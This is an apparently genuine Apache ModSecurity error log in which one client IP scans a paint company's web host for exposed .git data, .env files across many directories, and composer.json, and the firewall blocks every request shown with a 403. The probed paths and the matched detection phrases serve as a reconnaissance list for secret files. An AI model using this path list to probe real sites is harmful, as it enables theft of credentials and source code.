[Tue Oct 27 04:18:09.664032 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auBeQTs6QI_2LyqMu-svTwAAABA"]
[Tue Oct 27 04:18:09.665039 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auBeQfBpQA4DT21g-rgTUwAAAAY"]
[Tue Oct 27 04:18:09.665178 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auBeQfBpQA4DT21g-rgTUwAAAAY"]
[Tue Oct 27 04:18:09.665440 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auBeQfBpQA4DT21g-rgTUwAAAAY"]
[Tue Oct 27 04:18:09.666383 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auBeQXCsn1NVv0VfikkGbQAAAAQ"]
[Tue Oct 27 04:18:09.666558 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auBeQXCsn1NVv0VfikkGbQAAAAQ"]
[Tue Oct 27 04:18:09.666763 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auBeQXCsn1NVv0VfikkGbQAAAAQ"]
[Tue Oct 27 04:18:09.667700 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auBeQdOTO42xOmZCRV02pQAAAAE"]
[Tue Oct 27 04:18:09.667840 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auBeQdOTO42xOmZCRV02pQAAAAE"]
[Tue Oct 27 04:18:09.668053 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auBeQdOTO42xOmZCRV02pQAAAAE"]
[Tue Oct 27 04:18:09.743846 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auBeQdOTO42xOmZCRV02pgAAAAE"]
[Tue Oct 27 04:18:09.744046 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auBeQdOTO42xOmZCRV02pgAAAAE"]
[Tue Oct 27 04:18:09.744267 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auBeQdOTO42xOmZCRV02pgAAAAE"]
[Tue Oct 27 04:18:09.745214 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auBeQc-M-kXjH-VclWYJWQAAABg"]
[Tue Oct 27 04:18:09.745352 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auBeQc-M-kXjH-VclWYJWQAAABg"]
[Tue Oct 27 04:18:09.745573 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auBeQc-M-kXjH-VclWYJWQAAABg"]
[Tue Oct 27 04:18:09.799663 2026] [security2:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auBeQSAYxa8o1W2Vba2wpQAAAAA"]
[Tue Oct 27 04:18:09.799954 2026] [security2:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auBeQSAYxa8o1W2Vba2wpQAAAAA"]
[Tue Oct 27 04:18:09.800326 2026] [security2:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auBeQSAYxa8o1W2Vba2wpQAAAAA"]
[Tue Oct 27 04:18:09.854750 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auBeQSoaxgN9H0AE4f1vJwAAAAM"]
[Tue Oct 27 04:18:09.855000 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auBeQSoaxgN9H0AE4f1vJwAAAAM"]
[Tue Oct 27 04:18:09.855313 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auBeQSoaxgN9H0AE4f1vJwAAAAM"]
[Tue Oct 27 04:18:09.860437 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auBeQRsMrQZ-lBI87Ul19AAAAAU"]
[Tue Oct 27 04:18:09.860613 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auBeQRsMrQZ-lBI87Ul19AAAAAU"]
[Tue Oct 27 04:18:09.860846 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auBeQRsMrQZ-lBI87Ul19AAAAAU"]
[Tue Oct 27 04:18:09.861576 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auBeQTACgwKulg8gg2NrqAAAAAg"]
[Tue Oct 27 04:18:09.861706 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auBeQTACgwKulg8gg2NrqAAAAAg"]
[Tue Oct 27 04:18:09.861773 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auBeQUQFomyjz0g-y4eN8QAAAAo"]
[Tue Oct 27 04:18:09.861924 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auBeQUQFomyjz0g-y4eN8QAAAAo"]
[Tue Oct 27 04:18:09.861935 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auBeQTACgwKulg8gg2NrqAAAAAg"]
[Tue Oct 27 04:18:09.862146 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auBeQUQFomyjz0g-y4eN8QAAAAo"]
[Tue Oct 27 04:18:09.881857 2026] [security2:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auBeQSAYxa8o1W2Vba2wpgAAAAA"]
[Tue Oct 27 04:18:09.882000 2026] [security2:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auBeQSAYxa8o1W2Vba2wpgAAAAA"]
[Tue Oct 27 04:18:09.882233 2026] [security2:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auBeQSAYxa8o1W2Vba2wpgAAAAA"]
[Tue Oct 27 04:18:09.882295 2026] [security2:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "recursos1.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auBeQSAYxa8o1W2Vba2wpgAAAAA"]
[Tue Oct 27 04:18:09.882309 2026] [security2:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "recursos1.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auBeQSAYxa8o1W2Vba2wpgAAAAA"]
[Tue Oct 27 04:18:09.937449 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auBeQRsMrQZ-lBI87Ul19QAAAAU"]
[Tue Oct 27 04:18:09.937624 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auBeQRsMrQZ-lBI87Ul19QAAAAU"]
[Tue Oct 27 04:18:09.937871 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auBeQRsMrQZ-lBI87Ul19QAAAAU"]
[Tue Oct 27 04:18:09.942085 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auBeQTACgwKulg8gg2NrqQAAAAg"]
